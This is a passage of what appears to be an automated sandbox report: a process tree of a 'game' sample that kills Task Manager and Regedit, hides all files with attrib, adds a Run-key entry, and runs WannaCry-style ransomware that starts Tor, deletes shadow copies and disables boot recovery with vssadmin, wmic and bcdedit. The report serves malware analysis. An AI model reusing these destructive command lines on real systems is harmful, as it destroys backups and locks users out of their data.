                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                            4⤵
                                                                                                              PID:1780
                                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                              4⤵
                                                                                                                PID:1364
                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                taskkill /f /im taskmgr.exe
                                                                                                                4⤵
                                                                                                                • Kills process with taskkill
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2784
                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                taskkill /f /im regedit.exe
                                                                                                                4⤵
                                                                                                                • Kills process with taskkill
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1756
                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                                4⤵
                                                                                                                  PID:3028
                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                                  4⤵
                                                                                                                    PID:1548
                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                    taskkill /f /im taskmgr.exe
                                                                                                                    4⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:2220
                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                    taskkill /f /im regedit.exe
                                                                                                                    4⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:1340
                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                                    4⤵
                                                                                                                      PID:1540
                                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                                      4⤵
                                                                                                                        PID:2752
                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                        taskkill /f /im taskmgr.exe
                                                                                                                        4⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:2636
                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                        taskkill /f /im regedit.exe
                                                                                                                        4⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:1524
                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                                        4⤵
                                                                                                                          PID:1692
                                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                                          4⤵
                                                                                                                            PID:1044
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /f /im taskmgr.exe
                                                                                                                            4⤵
                                                                                                                            • Kills process with taskkill
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:1544
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /f /im regedit.exe
                                                                                                                            4⤵
                                                                                                                            • Kills process with taskkill
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:1616
                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                                            4⤵
                                                                                                                              PID:2068
                                                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                                              4⤵
                                                                                                                                PID:1392
                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                taskkill /f /im taskmgr.exe
                                                                                                                                4⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:2500
                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                taskkill /f /im regedit.exe
                                                                                                                                4⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:340
                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                                                4⤵
                                                                                                                                  PID:1396
                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                                                  4⤵
                                                                                                                                    PID:764
                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                    taskkill /f /im taskmgr.exe
                                                                                                                                    4⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:1744
                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                    taskkill /f /im regedit.exe
                                                                                                                                    4⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:396
                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy2.vbs"
                                                                                                                                    4⤵
                                                                                                                                      PID:2512
                                                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\annoy.vbs"
                                                                                                                                      4⤵
                                                                                                                                        PID:1968
                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                        taskkill /f /im taskmgr.exe
                                                                                                                                        4⤵
                                                                                                                                        • Kills process with taskkill
                                                                                                                                        PID:2808
                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                        taskkill /f /im regedit.exe
                                                                                                                                        4⤵
                                                                                                                                        • Kills process with taskkill
                                                                                                                                        PID:2608
                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                      timeout 5
                                                                                                                                      3⤵
                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                      PID:1340
                                                                                                                                    • C:\Windows\SysWOW64\shutdown.exe
                                                                                                                                      shutdown /a
                                                                                                                                      3⤵
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:1800
                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                      timeout 2
                                                                                                                                      3⤵
                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                      PID:808
                                                                                                                                    • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\win7recovery.exe
                                                                                                                                      win7recovery.exe
                                                                                                                                      3⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • Adds Run key to start application
                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                      • System policy modification
                                                                                                                                      PID:2712
                                                                                                                                      • C:\ProgramData\WbVhxCIDDK.exe
                                                                                                                                        "C:\ProgramData\WbVhxCIDDK.exe"
                                                                                                                                        4⤵
                                                                                                                                        • Modifies visiblity of hidden/system files in Explorer
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:1896
                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                          attrib +h "C:\Users\Admin\*.* " /s /d
                                                                                                                                          5⤵
                                                                                                                                          • Views/modifies file attributes
                                                                                                                                          PID:2216
                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                          attrib +h "C:\ProgramData\Microsoft\Windows\Start Menu\*.* " /s /d
                                                                                                                                          5⤵
                                                                                                                                          • Views/modifies file attributes
                                                                                                                                          PID:1532
                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                          attrib +h "C:\*.*" /s /d
                                                                                                                                          5⤵
                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                          • Views/modifies file attributes
                                                                                                                                          PID:1928
                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                          attrib +h "F:\*.*" /s /d
                                                                                                                                          5⤵
                                                                                                                                          • Views/modifies file attributes
                                                                                                                                          PID:2680
                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                      taskkill /f /im WScript.exe
                                                                                                                                      3⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:2832
                                                                                                                                    • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\wannacryptor.exe
                                                                                                                                      wannacryptor.exe
                                                                                                                                      3⤵
                                                                                                                                      • Drops startup file
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • Sets desktop wallpaper using registry
                                                                                                                                      PID:2384
                                                                                                                                      • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                        attrib +h .
                                                                                                                                        4⤵
                                                                                                                                        • Views/modifies file attributes
                                                                                                                                        PID:2836
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls . /grant Everyone:F /T /C /Q
                                                                                                                                        4⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:1804
                                                                                                                                      • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\taskdl.exe
                                                                                                                                        taskdl.exe
                                                                                                                                        4⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:868
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /c 323671721043228.bat
                                                                                                                                        4⤵
                                                                                                                                          PID:1780
                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                            cscript.exe //nologo m.vbs
                                                                                                                                            5⤵
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:2544
                                                                                                                                        • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                          attrib +h +s F:\$RECYCLE
                                                                                                                                          4⤵
                                                                                                                                          • Views/modifies file attributes
                                                                                                                                          PID:1612
                                                                                                                                        • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]
                                                                                                                                          @[email protected] co
                                                                                                                                          4⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:2504
                                                                                                                                          • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\TaskData\Tor\taskhsvc.exe
                                                                                                                                            TaskData\Tor\taskhsvc.exe
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:1580
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          cmd.exe /c start /b @[email protected] vs
                                                                                                                                          4⤵
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          PID:1708
                                                                                                                                          • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]
                                                                                                                                            @[email protected] vs
                                                                                                                                            5⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                            PID:2604
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                                                                                                                              6⤵
                                                                                                                                                PID:1820
                                                                                                                                                • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                                                                  vssadmin delete shadows /all /quiet
                                                                                                                                                  7⤵
                                                                                                                                                  • Interacts with shadow copies
                                                                                                                                                  PID:2684
                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                  wmic shadowcopy delete
                                                                                                                                                  7⤵
                                                                                                                                                    PID:340
                                                                                                                                            • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]
                                                                                                                                              @[email protected]
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Sets desktop wallpaper using registry
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              PID:2016
                                                                                                                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                                                                                                                "C:\Program Files\Internet Explorer\iexplore.exe" https://www.google.com/search?q=how+to+buy+bitcoin
                                                                                                                                                5⤵
                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:2892
                                                                                                                                                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                                                                                                                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2892 CREDAT:275457 /prefetch:2
                                                                                                                                                  6⤵
                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:1716
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2016 -s 320
                                                                                                                                                5⤵
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                • Program crash
                                                                                                                                                PID:888
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "manjgrzvtx670" /t REG_SZ /d "\"C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\tasksche.exe\"" /f
                                                                                                                                              4⤵
                                                                                                                                                PID:1100
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "manjgrzvtx670" /t REG_SZ /d "\"C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\tasksche.exe\"" /f
                                                                                                                                                  5⤵
                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                  • Modifies registry key
                                                                                                                                                  PID:544
                                                                                                                                              • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]
                                                                                                                                                @[email protected]
                                                                                                                                                4⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:1572
                                                                                                                                              • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]
                                                                                                                                                @[email protected]
                                                                                                                                                4⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Sets desktop wallpaper using registry
                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:2668
                                                                                                                                              • C:\Users\Admin\Desktop\yfga_game_95b56e3e-e019-476c-b4e8-de83322602d7\@[email protected]
                                                                                                                                                @[email protected]
                                                                                                                                                4⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:1684
                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                              timeout 12
                                                                                                                                              3⤵
                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                              PID:448
                                                                                                                                        • C:\Windows\system32\conhost.exe
                                                                                                                                          \??\C:\Windows\system32\conhost.exe "-574643198-130135805516000277321079108666679549138-2037775681107688901959674416"
                                                                                                                                          1⤵
                                                                                                                                            PID:2544
                                                                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                                                                            C:\Windows\system32\vssvc.exe
                                                                                                                                            1⤵
                                                                                                                                              PID:1568
                                                                                                                                            • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                              "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                                                                                                                              1⤵
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Enumerates system info in registry
                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                              • Modifies registry class
                                                                                                                                              • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              PID:1908
                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                "C:\Windows\explorer.exe"
                                                                                                                                                2⤵
                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                • Modifies registry class
                                                                                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:1216
                                                                                                                                                • C:\Windows\regedit.exe
                                                                                                                                                  "C:\Windows\regedit.exe"
                                                                                                                                                  3⤵
                                                                                                                                                  • Runs regedit.exe
                                                                                                                                                  PID:2424
                                                                                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                                                                                  "C:\Windows\system32\taskmgr.exe"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2552
                                                                                                                                                  • C:\Windows\system32\taskmgr.exe
                                                                                                                                                    "C:\Windows\system32\taskmgr.exe"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1800
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      "C:\Windows\system32\cmd.exe"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1084
                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                          taskkill /f /im screenscrew.exe
                                                                                                                                                          4⤵
                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                          PID:1376
                                                                                                                                                  • C:\Windows\SysWOW64\DllHost.exe
                                                                                                                                                    C:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                    1⤵
                                                                                                                                                      PID:2800
                                                                                                                                                    • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                      C:\Windows\system32\AUDIODG.EXE 0x150
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2904
                                                                                                                                                      • C:\Windows\system32\LogonUI.exe
                                                                                                                                                        "LogonUI.exe" /flags:0x0
                                                                                                                                                        1⤵
                                                                                                                                                          PID:1612
                                                                                                                                                        • C:\Windows\system32\csrss.exe
                                                                                                                                                          %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1336
                                                                                                                                                          • C:\Windows\system32\winlogon.exe
                                                                                                                                                            winlogon.exe
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1972
                                                                                                                                                              • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                "LogonUI.exe" /flags:0x0
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:2152
                                                                                                                                                                • C:\Windows\system32\userinit.exe
                                                                                                                                                                  C:\Windows\system32\userinit.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:2280
                                                                                                                                                                    • C:\Windows\Explorer.EXE
                                                                                                                                                                      C:\Windows\Explorer.EXE
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:2336
                                                                                                                                                                        • C:\Windows\System32\regsvr32.exe
                                                                                                                                                                          "C:\Windows\System32\regsvr32.exe" /s /n /i:/UserInstall C:\Windows\system32\themeui.dll
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:1660
                                                                                                                                                                          • C:\Program Files (x86)\Windows Mail\WinMail.exe
                                                                                                                                                                            "C:\Program Files (x86)\Windows Mail\WinMail.exe" OCInstallUserConfigOE
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:1788
                                                                                                                                                                              • C:\Program Files\Windows Mail\WinMail.exe
                                                                                                                                                                                "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:1864
                                                                                                                                                                              • C:\Windows\System32\unregmp2.exe
                                                                                                                                                                                "C:\Windows\System32\unregmp2.exe" /FirstLogon /Shortcuts /RegBrowsers /ResetMUI
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1364
                                                                                                                                                                                • C:\Windows\System32\regsvr32.exe
                                                                                                                                                                                  "C:\Windows\System32\regsvr32.exe" /s /n /i:U shell32.dll
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:348
                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                    "C:\Windows\SysWOW64\rundll32.exe" C:\Windows\SysWOW64\mscories.dll,Install
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:1332
                                                                                                                                                                                    • C:\Windows\System32\ie4uinit.exe
                                                                                                                                                                                      "C:\Windows\System32\ie4uinit.exe" -UserConfig
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:924
                                                                                                                                                                                        • C:\Windows\System32\ie4uinit.exe
                                                                                                                                                                                          C:\Windows\System32\ie4uinit.exe -ClearIconCache
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:1100
                                                                                                                                                                                          • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                            C:\Windows\System32\rundll32 advpack.dll,LaunchINFSectionEx C:\Windows\system32\ieuinit.inf,Install,,36
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:1116
                                                                                                                                                                                            • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                              C:\Windows\System32\rundll32 C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:1096
                                                                                                                                                                                                • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                                  C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:1184
                                                                                                                                                                                              • C:\Windows\System32\regsvr32.exe
                                                                                                                                                                                                "C:\Windows\System32\regsvr32.exe" /s /n /i:/UserInstall C:\Windows\system32\themeui.dll
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:308
                                                                                                                                                                                                • C:\Program Files\Windows Mail\WinMail.exe
                                                                                                                                                                                                  "C:\Program Files\Windows Mail\WinMail.exe" OCInstallUserConfigOE
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:888
                                                                                                                                                                                                  • C:\Windows\System32\unregmp2.exe
                                                                                                                                                                                                    "C:\Windows\System32\unregmp2.exe" /FirstLogon /Shortcuts /RegBrowsers /ResetMUI
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:1372
                                                                                                                                                                                                    • C:\Windows\System32\regsvr32.exe
                                                                                                                                                                                                      "C:\Windows\System32\regsvr32.exe" /s /n /i:U shell32.dll
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:2520
                                                                                                                                                                                                      • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                        "C:\Windows\System32\rundll32.exe" C:\Windows\system32\mscories.dll,Install
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:2756
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:1688
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\GO BACK!\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x15c,0x160,0x164,0x130,0x168,0x13fc57688,0x13fc57698,0x13fc576a8
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                PID:2264
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --system-level --verbose-logging --installerdata="C:\Program Files\Google\Chrome\Application\master_preferences" --create-shortcuts=1 --install-level=0
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                  PID:1540
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\GO BACK!\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x15c,0x160,0x164,0x130,0x168,0x13fc57688,0x13fc57698,0x13fc576a8
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:2796
                                                                                                                                                                                                                • C:\Windows\System32\zcgahj.exe
                                                                                                                                                                                                                  "C:\Windows\System32\zcgahj.exe"
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:1780
                                                                                                                                                                                                                  • C:\Program Files\Windows Sidebar\sidebar.exe
                                                                                                                                                                                                                    "C:\Program Files\Windows Sidebar\sidebar.exe" /autoRun
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:1632
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\runonce.exe
                                                                                                                                                                                                                      C:\Windows\SysWOW64\runonce.exe /Run6432
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2780
                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft Office\Office14\BCSSync.exe
                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft Office\Office14\BCSSync.exe" /DelayServices
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                            PID:2680
                                                                                                                                                                                                                        • C:\Windows\System32\mctadmin.exe
                                                                                                                                                                                                                          "C:\Windows\System32\mctadmin.exe"
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:1556
                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                            "C:\Windows\explorer.exe"
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:1116
                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft Office\Office14\Groove.exe
                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft Office\Office14\Groove.exe" /TrayOnly /NoLogon
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:3060
                                                                                                                                                                                                                                • C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE
                                                                                                                                                                                                                                  "C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 1292
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                    PID:2532
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\dwwin.exe
                                                                                                                                                                                                                                      C:\Windows\system32\dwwin.exe -x -s 1292
                                                                                                                                                                                                                                      6⤵
